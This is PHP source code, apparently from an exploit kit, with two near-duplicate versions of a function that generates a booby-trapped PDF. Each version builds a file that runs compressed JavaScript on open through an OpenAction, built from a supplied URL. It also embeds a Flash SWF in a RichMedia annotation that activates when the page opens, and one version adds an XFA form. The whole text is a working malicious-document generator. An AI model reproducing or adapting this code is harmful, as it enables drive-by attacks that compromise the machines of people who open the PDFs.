function generate_pdf($url) { $js = generate_js($url); $js = pdf_FlateEncode($js); $jslen = strlen($js); $swf = pdf_FlateEncode(generate_swf()); $swflen = strlen($swf); $swfname = 'test.swf'; $eol = ' '; $endobj = 'endobj' . $eol; $xref = array(); $pdf = '%PDF-1.5' . $eol; $pdf = $pdf . '%' . RandomNonASCIIString(4) . $eol; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(1) . '<</Type/Catalog'; $pdf = $pdf . '/Pages ' . ioRef(3); $pdf = $pdf . '/OpenAction ' . ioRef(5); $pdf = $pdf . '/AcroForm ' . ioRef(17); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(3) . '<</Type/Pages/Count 1/Kids [' . ioRef(4) . ']>>' . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(4) . '<</Type/Page/Parent ' . ioRef(3); $pdf = $pdf . '/Annots [' . ioRef(7) . '] '; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(5) . '<</Type/Action/S/JavaScript/JS ' . ioRef(6) . '>>' . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(6) . '<</Length ' . $jslen . '/Filter[/FlateDecode]>>' . $eol; $pdf = $pdf . 'stream' . $eol; $pdf = $pdf . $js . $eol; $pdf = $pdf . 'endstream' . $eol; $pdf = $pdf . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(7) . '<</Type/Annot/Subtype/RichMedia'; $pdf = $pdf . '/Rect [20 20 187 69] '; $pdf = $pdf . '/RichMediaSettings ' . ioRef(8); $pdf = $pdf . '/RichMediaContent ' . ioRef(9); $pdf = $pdf . '/NM (' . $swfname . ')'; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(8); $pdf = $pdf . '<</Type/RichMediaSettings/Subtype/Flash'; $pdf = $pdf . '/Activation ' . ioRef(10); $pdf = $pdf . '/Deactivation ' . ioRef(11); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(9); $pdf = $pdf . '<</Type/RichMediaContent'; $pdf = $pdf . '/Assets ' . ioRef(12); $pdf = $pdf . '/Configurations [' . ioRef(14) . ']'; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(10); $pdf = $pdf . '<</Type/RichMediaActivation/Condition/PO>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(11); $pdf = $pdf . '<</Type/RichMediaDeactivation/Condition/XD>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(12); $pdf = $pdf . '<</Names [(' . $swfname . ') ' . ioRef(13) . ']>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(13); $pdf = $pdf . '<</Type/Filespec /EF <</F ' . ioRef(16) . '>> /F(' . $swfname . ')>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(14); $pdf = $pdf . '<</Type/RichMediaConfiguration/Subtype/Flash'; $pdf = $pdf . '/Instances [' . ioRef(15) . ']>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(15); $pdf = $pdf . '<</Type/RichMediaInstance/Subtype/Flash'; $pdf = $pdf . '/Asset ' . ioRef(13); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(16) . '<</Type/EmbeddedFile/Length ' . $swflen . '/Filter[/FlateDecode]>>' . $eol; $pdf = $pdf . 'stream' . $eol; $pdf = $pdf . $swf . $eol; $pdf = $pdf . 'endstream' . $eol; $pdf = $pdf . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(17); $pdf = $pdf . '<</XFA ' . ioRef(18) . '>>' . $eol; $pdf = $pdf . $endobj; $xfa = '<?xml version="1.0" encoding="UTF-8"?> <xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"> <config xmlns="http://www.xfa.org/schema/xci/2.6/"> <present><pdf><interactive>1</interactive></pdf></present> </config> <template xmlns="http://www.xfa.org/schema/xfa-template/2.6/"> <subform name="form1" layout="tb" locale="en_US"> <pageSet></pageSet> </subform></template></xdp:xdp>'; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(18) . '<</Length ' . strlen($xfa) . '>>' . $eol; $pdf = $pdf . 'stream' . $eol; $pdf = $pdf . $xfa . $eol; $pdf = $pdf . 'endstream' . $eol; $pdf = $pdf . $endobj; $xrefPosition = strlen($pdf); $pdf = $pdf . 'xref' . $eol; $pdf = $pdf . '0 ' . (count($xref) + 1) . $eol; $pdf = $pdf . '0000000000 65535 f' . $eol; $i = 0; while ($i < count($xref)) { $temp = sprintf('%010d 00000 n', $xref[$i]); $pdf = $pdf . $temp . $eol; ++$i; } $pdf = $pdf . 'trailer' . $eol; $pdf = $pdf . '<</Size ' . (count($xref) + 1) . '/Root ' . ioRef(1) . '>>' . $eol; $pdf = $pdf . 'startxref' . $eol; $pdf = $pdf . $xrefPosition . $eol; $pdf = $pdf . '%%EOF' . $eol; return $pdf; }
function generate_pdf($url) { $js = generate_js($url); $js = pdf_FlateEncode($js); $jslen = strlen($js); $swf = generate_swf(); $swf = pdf_ASCIIHexEncode($swf); $swflen = strlen($swf); $swfname = '20102884.swf'; $eol = ' '; $endobj = 'endobj' . $eol; $xref = array(); $pdf = '%PDF-1.5' . $eol; $pdf = $pdf . '%' . RandomNonASCIIString(4) . $eol; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(1) . '<</Type/Catalog'; $pdf = $pdf . '/Pages ' . ioRef(3); $pdf = $pdf . '/OpenAction ' . ioRef(5); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(3) . '<</Type/Pages/Count 1/Kids [' . ioRef(4) . ']>>' . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(4) . '<</Type/Page/Parent ' . ioRef(3); $pdf = $pdf . '/Annots [' . ioRef(7) . '] '; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(5) . '<</Type/Action/S/JavaScript/JS ' . ioRef(6) . '>>' . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(6) . '<</Length ' . $jslen . '/Filter[/FlateDecode]>>' . $eol; $pdf = $pdf . 'stream' . $eol; $pdf = $pdf . $js . $eol; $pdf = $pdf . 'endstream' . $eol; $pdf = $pdf . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(7) . '<</Type/Annot/Subtype/RichMedia'; $pdf = $pdf . '/Rect [20 20 187 69] '; $pdf = $pdf . '/RichMediaSettings ' . ioRef(8); $pdf = $pdf . '/RichMediaContent ' . ioRef(9); $pdf = $pdf . '/NM (' . $swfname . ')'; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(8); $pdf = $pdf . '<</Type/RichMediaSettings/Subtype/Flash'; $pdf = $pdf . '/Activation ' . ioRef(10); $pdf = $pdf . '/Deactivation ' . ioRef(11); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(9); $pdf = $pdf . '<</Type/RichMediaContent'; $pdf = $pdf . '/Assets ' . ioRef(12); $pdf = $pdf . '/Configurations [' . ioRef(14) . ']'; $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(10); $pdf = $pdf . '<</Type/RichMediaActivation/Condition/PO>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(11); $pdf = $pdf . '<</Type/RichMediaDeactivation/Condition/XD>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(12); $pdf = $pdf . '<</Names [(' . $swfname . ') ' . ioRef(13) . ']>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(13); $pdf = $pdf . '<</Type/Filespec /EF <</F ' . ioRef(16) . '>> /F(' . $swfname . ')>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(14); $pdf = $pdf . '<</Type/RichMediaConfiguration/Subtype/Flash'; $pdf = $pdf . '/Instances [' . ioRef(15) . ']>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(15); $pdf = $pdf . '<</Type/RichMediaInstance/Subtype/Flash'; $pdf = $pdf . '/Asset ' . ioRef(13); $pdf = $pdf . '>>'; $pdf = $pdf . $eol . $endobj; $xref[] = strlen($pdf); $pdf = $pdf . ioDef(16) . '<</Type/EmbeddedFile/Length ' . $swflen . '/Filter[/ASCIIHexDecode]>>' . $eol; $pdf = $pdf . 'stream' . $eol; $pdf = $pdf . $swf . $eol; $pdf = $pdf . 'endstream' . $eol; $pdf = $pdf . $endobj; $xrefPosition = strlen($pdf); $pdf = $pdf . 'xref' . $eol; $pdf = $pdf . '0 ' . (count($xref) + 1) . $eol; $pdf = $pdf . '0000000000 65535 f' . $eol; $i = 0; while ($i < count($xref)) { $temp = sprintf('%010d 00000 n', $xref[$i]); $pdf = $pdf . $temp . $eol; ++$i; } $pdf = $pdf . 'trailer' . $eol; $pdf = $pdf . '<</Size ' . (count($xref) + 1) . '/Root ' . ioRef(1) . '>>' . $eol; $pdf = $pdf . 'startxref' . $eol; $pdf = $pdf . $xrefPosition . $eol; $pdf = $pdf . '%%EOF' . $eol; return $pdf; }